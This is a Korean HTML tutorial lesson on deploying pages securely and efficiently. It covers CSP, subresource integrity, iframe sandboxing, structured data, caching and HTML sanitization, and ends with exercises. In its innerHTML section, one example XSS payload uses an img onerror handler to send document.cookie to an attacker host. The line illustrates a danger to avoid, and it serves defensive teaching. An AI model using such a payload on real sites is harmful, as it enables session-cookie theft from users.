dev.syw

CSP, 무결성 검증, SEO 구조화 데이터, 캐싱 등 실제 운영 환경에서의 HTML 배포 전략을 다룬다.

운영·배포: 보안 헤더와 SEO·전달 전략

입문편에서 charset, viewport, description 같은 기본 메타데이터를 익혔다면, 이제 실제 서비스를 안전하고 빠르게 운영하기 위해 한 단계 더 깊이 들어갈 차례입니다. 보안 취약점을 막고, 검색엔진과 공유 플랫폼에서 최적의 노출을 얻으며, 전 세계 사용자에게 빠르게 콘텐츠를 전달하는 일은 HTML 마크업 레벨부터 시작됩니다.

이번 레슨에서는 XSS를 막는 CSP부터 외부 스크립트 무결성 검증(SRI), iframe 임베드 보안 속성, JSON-LD 구조화 데이터, 캐싱·압축 전략, 그리고 신뢰할 수 없는 HTML을 안전하게 렌더링하는 sanitization까지 운영 현장에서 반드시 알아야 할 기법을 다룹니다.

학습 목표

  • Content Security Policy(CSP)<meta> 태그와 HTTP 헤더로 설정해 XSS 공격을 완화하는 방법을 설명할 수 있다.
  • Subresource Integrity(SRI)crossorigin 속성으로 외부 리소스의 무결성을 보장할 수 있다.
  • sandbox, referrerpolicyiframe 보안 속성을 올바르게 적용할 수 있다.
  • JSON-LD 구조화 데이터와 Open Graph 확장 태그로 SEO와 소셜 공유를 최적화할 수 있다.
  • 캐싱·압축·CDN 전략과 sanitization 기법으로 안전하고 빠른 배포를 구현할 수 있다.

CSP와 XSS 완화 전략

Cross-Site Scripting(XSS)은 공격자가 페이지에 악의적인 스크립트를 삽입해 쿠키 탈취나 피싱을 시도하는 가장 흔한 웹 취약점입니다. Content Security Policy(CSP) 는 브라우저가 어떤 출처의 리소스를 로드·실행할 수 있는지 선언적으로 제한하는 HTTP 응답 헤더(또는 <meta> 태그)입니다.

HTTP 헤더 vs meta 태그

서버 설정이 가능하다면 HTTP 헤더가 권장됩니다. Content-Security-Policy 헤더는 페이지가 파싱되기 전에 적용되기 때문입니다. <meta> 태그 방식은 인라인 배포(정적 파일)에서 사용하지만, frame-ancestors, sandbox 등 일부 디렉티브를 지원하지 않습니다.

<!-- ✅ meta 태그 방식 (정적 배포 시 차선책) -->
<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'"
/>
HTML
# ✅ Nginx HTTP 헤더 방식 (권장)
add_header Content-Security-Policy
  "default-src 'self';
   script-src 'self' https://cdn.example.com;
   style-src 'self' 'unsafe-inline';
   img-src 'self' data: https:;
   object-src 'none';
   frame-ancestors 'none';"
  always;

주요 CSP 디렉티브

디렉티브설명일반적인 설정 예
default-src나머지 디렉티브의 기본값'self'
script-srcJS 실행 출처'self' https://cdn.example.com
style-srcCSS 출처'self' 'unsafe-inline'
img-src이미지 출처'self' data: https:
object-src<object>, <embed>'none' (플래시 차단)
frame-ancestors이 페이지를 iframe에 삽입 가능한 출처'none' 또는 'self'
report-uri / report-to위반 보고 엔드포인트/csp-report

⚠️ 주의'unsafe-inline''unsafe-eval'은 CSP 효과를 크게 약화시킵니다. 인라인 스크립트가 꼭 필요하다면 nonce 방식을 사용하세요.

nonce를 활용한 인라인 스크립트 허용

<!-- 서버에서 매 요청마다 랜덤 nonce를 생성해 주입 -->
<meta
  http-equiv="Content-Security-Policy"
  content="script-src 'nonce-RANDOM_BASE64_VALUE' 'strict-dynamic'"
/>

<!-- 동일한 nonce를 인라인 스크립트에도 부여 -->
<script nonce="RANDOM_BASE64_VALUE">
  // ✅ 이 스크립트만 허용됨
  console.log('nonce 검증 통과');
</script>

<script>
  // ❌ nonce 없음 → 브라우저가 실행 거부
  alert('XSS 시도');
</script>
HTML

💡 TIP'strict-dynamic'은 허용된 nonce를 가진 스크립트가 동적으로 추가하는 스크립트도 허용합니다. Webpack 번들러 환경에서 유용합니다.

Subresource Integrity(SRI)와 crossorigin

CDN에서 jQuery나 Bootstrap 같은 외부 라이브러리를 불러올 때, CDN이 해킹되어 악성 코드가 섞인 파일을 제공해도 브라우저가 이를 탐지하지 못하는 문제가 있습니다. SRI(Subresource Integrity) 는 파일의 암호화 해시를 integrity 속성에 명시해, 다운로드된 파일이 변조되지 않았음을 검증하는 기능입니다.

<!-- ✅ SRI 적용 예 (Bootstrap CSS) -->
<link
  rel="stylesheet"
  href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
  integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM"
  crossorigin="anonymous"
/>

<!-- ✅ SRI 적용 예 (Bootstrap JS) -->
<script
  src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"
  integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz"
  crossorigin="anonymous"
></script>

<!-- ❌ SRI 없이 CDN 의존 — 변조 감지 불가 -->
<script src="https://cdn.example.com/lib.js"></script>
HTML

해시 생성 방법

# SHA-384 해시 생성 (터미널)
cat bootstrap.min.css | openssl dgst -sha384 -binary | openssl base64 -A

# 또는 srihash.com 웹 도구 이용

crossorigin 속성의 역할

crossorigin 속성은 CORS 요청 방식을 지정합니다. SRI 검증이 작동하려면 반드시 crossorigin 속성이 필요합니다.

동작
anonymous쿠키·인증 정보 없이 CORS 요청
use-credentials쿠키·인증 정보 포함 CORS 요청
(생략)SRI 검증 불가 — 오류 발생

⚠️ 주의 — CDN 서버가 Access-Control-Allow-Origin 헤더를 응답하지 않으면 crossorigin="anonymous" 요청이 실패합니다. jsDelivr, cdnjs 등 주요 CDN은 대부분 CORS를 지원합니다.

sandbox iframe과 referrerpolicy

외부 콘텐츠를 <iframe>으로 임베드할 때 해당 콘텐츠가 부모 페이지에 접근하거나 악성 동작을 할 수 있습니다. sandbox 속성은 iframe 내부의 권한을 명시적으로 제한하고, 필요한 것만 허용하는 화이트리스트 방식으로 작동합니다.

<!-- ✅ 완전한 sandbox — 아무 권한도 없음 -->
<iframe src="https://untrusted.example.com" sandbox></iframe>

<!-- ✅ 필요한 권한만 허용 -->
<iframe
  src="https://partner.example.com/widget"
  sandbox="allow-scripts allow-same-origin allow-forms"
  title="파트너 위젯"
></iframe>

<!-- ❌ allow-same-origin + allow-scripts 조합의 함정 -->
<!-- 이 두 가지를 같은 출처 iframe에 함께 쓰면 sandbox 우회 가능 -->
HTML

sandbox 토큰 목록

토큰허용 내용
allow-scriptsJavaScript 실행
allow-same-origin동일 출처 접근 (쿠키, localStorage)
allow-forms폼 제출
allow-popups새 창/팝업 열기
allow-top-navigation부모 프레임 URL 변경
allow-downloads파일 다운로드

⚠️ 주의allow-scriptsallow-same-origin을 동일 출처 iframe에 동시에 허용하면, iframe 내 스크립트가 자신의 sandbox 속성을 DOM에서 제거하거나 동일 출처인 부모/자식 문서에 접근해 격리를 사실상 무력화할 수 있습니다. 교차 출처 콘텐츠에만 이 조합을 사용하세요.

referrerpolicy

링크나 iframe이 다른 사이트로 이동할 때 Referer 헤더에 어떤 URL 정보를 포함할지 제어합니다. 민감한 URL 파라미터(세션 토큰, 검색어 등)가 유출되지 않도록 하는 데 중요합니다.

<!-- 동일 출처는 전체 URL, 교차 출처는 출처만 전송 -->
<a href="https://external.com" referrerpolicy="origin-when-cross-origin">
  파트너 사이트
</a>

<!-- iframe에 적용 — referrer를 아예 보내지 않음 -->
<iframe
  src="https://ads.example.com"
  referrerpolicy="no-referrer"
  sandbox="allow-scripts"
></iframe>

<!-- 이미지에도 적용 가능 -->
<img
  src="https://cdn.example.com/photo.jpg"
  referrerpolicy="no-referrer-when-downgrade"
  alt="제품 사진"
/>
HTML
동작
no-referrerReferer 헤더 미전송
origin출처(프로토콜+도메인)만 전송
origin-when-cross-origin동일 출처는 전체, 교차 출처는 출처만
no-referrer-when-downgradeHTTPS→HTTP 다운그레이드 시 미전송
strict-origin-when-cross-origin권장 기본값(현대 브라우저 기본값) — 보안·기능 균형

참고 — 2020년 이전에는 no-referrer-when-downgrade가 브라우저 기본값이었으나, 2020년 이후 Chrome·Firefox·Safari 등 모든 주요 브라우저는 정책을 지정하지 않으면 strict-origin-when-cross-origin을 기본값으로 적용합니다.

JSON-LD 구조화 데이터와 Open Graph 심화

입문편에서 기본 Open Graph 태그를 다뤘습니다. 여기서는 검색엔진이 직접 파싱하는 JSON-LD 구조화 데이터와 트위터·링크드인 등 플랫폼별 확장 태그를 살펴봅니다.

JSON-LD 구조화 데이터

Google은 schema.org 어휘를 기반으로 한 JSON-LD 구조화 데이터를 가장 권장합니다. 리치 스니펫(별점, 가격, 이벤트 날짜 등)을 검색 결과에 표시하려면 필수입니다.

<!-- 제품 페이지 JSON-LD 예시 -->
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Product",
  "name": "HTML 심화 강좌",
  "description": "실무에서 바로 써먹는 HTML 고급 기법",
  "image": "https://example.com/course-thumb.jpg",
  "offers": {
    "@type": "Offer",
    "price": "59000",
    "priceCurrency": "KRW",
    "availability": "https://schema.org/InStock",
    "url": "https://example.com/courses/html-advanced"
  },
  "aggregateRating": {
    "@type": "AggregateRating",
    "ratingValue": "4.8",
    "reviewCount": "320"
  }
}
</script>

<!-- 기사 페이지 JSON-LD 예시 -->
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": "운영·배포: 보안 헤더와 SEO·전달 전략",
  "datePublished": "2026-06-08T09:00:00+09:00",
  "dateModified": "2026-06-08T09:00:00+09:00",
  "author": {
    "@type": "Person",
    "name": "강사 이름"
  },
  "publisher": {
    "@type": "Organization",
    "name": "Dev-SYW",
    "logo": {
      "@type": "ImageObject",
      "url": "https://example.com/logo.png"
    }
  }
}
</script>
HTML

💡 TIP<script type="application/ld+json">은 HTML 안에 JSON을 그대로 삽입하므로, </script> 문자열이 JSON 값에 포함되면 파싱 오류가 발생합니다. 그 경우 <\/script>로 이스케이프하세요.

Twitter Card와 플랫폼별 메타 태그

<!-- Twitter(X) 요약 카드 -->
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:site" content="@your_twitter_handle" />
<meta name="twitter:title" content="운영·배포: 보안 헤더와 SEO 전략" />
<meta name="twitter:description" content="CSP, SRI, JSON-LD로 안전하고 검색 최적화된 HTML 배포" />
<meta name="twitter:image" content="https://example.com/og-1200x630.jpg" />

<!-- Open Graph 심화 — 강좌(article) 유형 -->
<meta property="og:type" content="article" />
<meta property="og:locale" content="ko_KR" />
<meta property="og:site_name" content="Dev-SYW" />
<meta property="article:published_time" content="2026-06-08T09:00:00+09:00" />
<meta property="article:author" content="https://example.com/author/herosyw" />
<meta property="article:tag" content="HTML" />
<meta property="article:tag" content="보안" />
<meta property="article:tag" content="SEO" />

<!-- canonical URL — 중복 콘텐츠 방지 -->
<link rel="canonical" href="https://example.com/html-advanced/production-security" />
HTML

다국어 페이지 hreflang

같은 콘텐츠가 여러 언어로 제공될 때 검색엔진이 올바른 언어 버전을 사용자에게 보여줄 수 있도록 hreflang을 선언합니다.

<link rel="alternate" hreflang="ko" href="https://example.com/ko/lesson" />
<link rel="alternate" hreflang="en" href="https://example.com/en/lesson" />
<link rel="alternate" hreflang="x-default" href="https://example.com/lesson" />
HTML

HTML 캐싱·압축과 CDN 전달 전략

빠른 페이지 로드는 사용자 경험과 SEO 모두에 영향을 미칩니다. HTML 문서 자체의 캐싱 전략과 압축 설정은 서버 설정으로 처리하지만, HTML 마크업과 밀접하게 연동됩니다.

캐시 제어 헤더와 HTML 메타 태그

현대 브라우저는 Cache-Control HTTP 헤더를 따르므로 <meta http-equiv="Pragma"> 같은 구식 태그는 더 이상 권장되지 않습니다. 그러나 <meta http-equiv="Cache-Control">은 일부 프록시 서버가 읽을 수 있어 참고용으로 알아둘 필요가 있습니다.

# Nginx — HTML: 캐시하지 않음, 정적 자산: 오래 캐시
location / {
    add_header Cache-Control "no-cache, must-revalidate";
    add_header ETag "";
}

location ~* \.(css|js|woff2|png|jpg|svg)$ {
    add_header Cache-Control "public, max-age=31536000, immutable";
}

콘텐츠 해시로 캐시 무효화

HTML 파일 자체는 캐시하지 않고, CSS/JS/폰트는 파일명에 콘텐츠 해시를 포함시켜 무기한 캐시합니다.

<!-- ✅ 콘텐츠 해시로 파일명이 변경되어 캐시 무효화 보장 -->
<link rel="stylesheet" href="/assets/main.a3f92c1b.css" />
<script src="/assets/app.7d4e2a0f.js" defer></script>

<!-- ❌ 해시 없는 파일명 — 브라우저가 갱신된 파일을 못 받을 수 있음 -->
<link rel="stylesheet" href="/assets/main.css" />
HTML

💡 TIP — Vite, Webpack 등 빌드 도구는 기본적으로 콘텐츠 해시를 파일명에 삽입합니다. output.filename = '[name].[contenthash].js' 설정을 확인하세요.

gzip/brotli 압축

텍스트 기반 파일(HTML, CSS, JS)은 압축 전송으로 전송량을 70~90% 줄일 수 있습니다.

# Nginx gzip 설정
gzip on;
gzip_types text/html text/css application/javascript application/json image/svg+xml;
gzip_min_length 256;
gzip_comp_level 6;

# Nginx brotli 설정 (ngx_brotli 모듈 필요)
brotli on;
brotli_types text/html text/css application/javascript application/json;
brotli_comp_level 6;
<!-- 브라우저가 Accept-Encoding 헤더로 지원 여부를 알림 -->
<!-- HTML 작성자가 할 일: 압축을 방해하는 인라인 데이터 최소화 -->

<!-- ❌ 큰 이미지를 base64로 HTML에 인라인 — 압축 효율 저하 -->
<img src="data:image/png;base64,iVBORw0KGgo..." alt="로고" />

<!-- ✅ 외부 파일로 분리 — 별도 캐시 + 압축 적용 -->
<img src="/images/logo.svg" alt="로고" />
HTML

CDN을 사용할 때 HTML에서 미리 DNS 조회와 TCP 연결을 수행하도록 힌트를 줄 수 있습니다.

<!-- CDN 도메인에 미리 연결 -->
<link rel="preconnect" href="https://cdn.example.com" />
<link rel="dns-prefetch" href="https://analytics.example.com" />

<!-- 중요 리소스를 미리 로드 (LCP 이미지 등) -->
<link
  rel="preload"
  href="https://cdn.example.com/hero-image.webp"
  as="image"
  type="image/webp"
/>

<!-- 폰트 preload -->
<link
  rel="preload"
  href="https://cdn.example.com/fonts/Pretendard.woff2"
  as="font"
  type="font/woff2"
  crossorigin="anonymous"
/>
HTML

sanitization과 신뢰할 수 없는 HTML 렌더링

사용자 입력이나 외부 API 응답을 그대로 innerHTML에 삽입하면 XSS 공격에 무방비 상태가 됩니다. Sanitization은 HTML을 렌더링하기 전에 위험한 요소·속성을 제거하는 과정입니다.

innerHTML 직접 삽입의 위험

// ❌ 절대 금지 — 사용자 입력을 그대로 innerHTML에 삽입
const userInput = '<img src=x onerror="fetch(`https://attacker.com?c=` + document.cookie)">';
document.getElementById('preview').innerHTML = userInput;

// ❌ 마찬가지로 위험
element.insertAdjacentHTML('beforeend', untrustedHTML);
JavaScript

DOMPurify를 사용한 안전한 렌더링

DOMPurify는 가장 널리 쓰이는 클라이언트 사이드 HTML sanitizer 라이브러리입니다.

<!-- DOMPurify 로드 (SRI 적용 권장) -->
<script
  src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.6/purify.min.js"
  integrity="sha384-..."
  crossorigin="anonymous"
></script>
HTML
// ✅ DOMPurify로 정제 후 삽입
const dirty = '<p>안녕하세요 <img src=x onerror=alert(1)> <b>Bold</b></p>';
const clean = DOMPurify.sanitize(dirty);
// 결과: '<p>안녕하세요 <img src="x"> <b>Bold</b></p>'
document.getElementById('preview').innerHTML = clean;

// ✅ 특정 태그만 허용 (엄격한 화이트리스트)
const strictClean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
  ALLOWED_ATTR: []
});

// ✅ 링크 허용 시 href 제한
const withLinks = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['a', 'b', 'p'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false
});
JavaScript

Sanitizer API (브라우저 내장)

표준화된 브라우저 내장 Sanitizer API(Element.setHTML() + Sanitizer)는 외부 라이브러리 없이 안전하게 HTML을 삽입할 수 있습니다. 표준화된 이 API는 2026년 초에야 stable 브라우저에 출시되었습니다 — Firefox 148(2026년 2월)이 최초이며, 이후 Chrome 146에서 지원되었고 Safari는 아직 미구현입니다. Chrome 105 무렵 실험 플래그로 등장했던 초기 프로토타입은 사양 변경으로 제거되었으니, 그 시절의 옛 예제 코드는 현행 브라우저에서 동작하지 않습니다. 아직 Baseline이 아니므로 Element.prototype.setHTML 존재 여부를 feature detection한 뒤, 미지원 환경에서는 DOMPurify로 폴백하는 것을 권장합니다.

// ✅ 브라우저 내장 Sanitizer API (Firefox 148+, Chrome 146+; 2026년 출시 기준)
// attributes는 허용할 속성 이름 배열입니다(구 드래프트의 요소별 allowAttributes 객체 형태는 폐기됨).
const sanitizer = new Sanitizer({
  elements: ['b', 'i', 'p', 'br', 'strong', 'em', 'a'],
  attributes: ['href']
});

const el = document.getElementById('preview');
el.setHTML('<p>안녕 <script>alert(1)<\/script> <b>반갑습니다</b></p>', { sanitizer });
// <script>는 제거되고 <b>는 살아남음

// ✅ setHTMLUnsafe — sanitizer 없이 사용 시 ⚠️ (개발/테스트 용도)
// el.setHTMLUnsafe(html); // 이름처럼 안전하지 않으므로 운영에서는 사용 금지
JavaScript

⚠️ 사양 변경 주의 — Sanitizer API는 표준화 과정에서 생성자/구성 객체 구조가 여러 차례 바뀌었습니다(예: 폐기된 구 드래프트의 allowElements/요소별 allowAttributes 형태). 브라우저 버전별 차이가 크므로, 실제 적용 전 반드시 MDN 최신 문서에서 현행 구성 키와 지원 범위를 확인하세요.

⚠️ 주의 — 서버 사이드에서 HTML을 저장·출력할 때도 sanitization이 필요합니다. Node.js 환경에서는 sanitize-html, Python에서는 bleach 라이브러리를 사용하세요. 클라이언트 sanitization은 방어의 마지막 선이지, 유일한 방어선이 아닙니다.

textContent vs innerHTML

HTML 태그 없이 순수 텍스트만 표시하면 textContent를 사용하는 것이 가장 안전합니다.

// ✅ 순수 텍스트 출력 — XSS 원천 차단
element.textContent = userInput;

// ❌ innerHTML 사용 시 sanitization 필수
element.innerHTML = DOMPurify.sanitize(userInput);
JavaScript

요약

  • CSP<meta http-equiv> 또는 HTTP 헤더로 설정하며, 허용된 출처의 리소스만 실행되도록 제한해 XSS를 완화한다. nonce 방식으로 인라인 스크립트를 안전하게 허용할 수 있다.
  • SRIintegrity + crossorigin 속성 조합으로 CDN 파일이 변조되지 않았음을 해시 값으로 검증한다.
  • sandbox iframe은 필요한 권한만 명시적으로 허용하는 화이트리스트 방식이며, referrerpolicy로 Referer 정보 노출 범위를 제어한다.
  • JSON-LD 구조화 데이터는 Google 리치 스니펫을 활성화하고, Twitter Card와 Open Graph 심화 태그는 플랫폼별 공유 경험을 최적화한다.
  • 정적 자산은 콘텐츠 해시 파일명 + 무기한 캐시, HTML은 no-cache로 관리하며, gzip/brotli 압축과 preconnect 힌트로 전달 속도를 높인다.
  • 신뢰할 수 없는 HTML은 DOMPurify 또는 브라우저 내장 Sanitizer API로 정제한 뒤 삽입해야 하며, 순수 텍스트는 textContent를 사용한다.

연습문제

  1. 다음 조건을 만족하는 CSP <meta> 태그를 작성하세요.

    • 스크립트는 'self'https://cdn.jsdelivr.net에서만 허용
    • 이미지는 'self'data: URI 허용
    • <object> 요소는 완전히 차단
    • 그 외 리소스는 동일 출처만 허용

    힌트default-src 'self'를 기본으로 두고 필요한 디렉티브만 추가로 지정하세요.

  2. Bootstrap 5.3의 CSS를 CDN에서 불러오되, SRI 무결성 검증이 적용된 <link> 태그를 작성하세요. (해시 값은 임의로 작성해도 됩니다.)

    힌트integrity 속성 값 형식은 sha384-<base64해시> 이며 crossorigin="anonymous"가 반드시 필요합니다.

  3. 외부 광고 위젯을 <iframe>으로 임베드하되, JavaScript 실행은 허용하되 폼 제출과 팝업은 금지하고, Referer 정보는 출처 도메인만 전송하도록 속성을 설정하세요.

    힌트sandbox 토큰 중 allow-scripts만 사용하고, referrerpolicy="origin"을 추가하세요.

  4. 아래 코드의 보안 취약점을 설명하고 DOMPurify를 사용해 수정하세요.

    fetch('/api/comments')
      .then(r => r.json())
      .then(data => {
        document.querySelector('#comments').innerHTML = data.html;
      });
    
    JavaScript

    힌트 — API 응답의 HTML에 <script> 태그나 이벤트 핸들러 속성이 포함될 수 있습니다.

💡 연습문제 풀이

불러오는 중…

함께 보면 좋은 자료

댓글 0

HTML 심화” 강좌에 대한 댓글입니다.

댓글을 작성하려면 로그인이 필요합니다.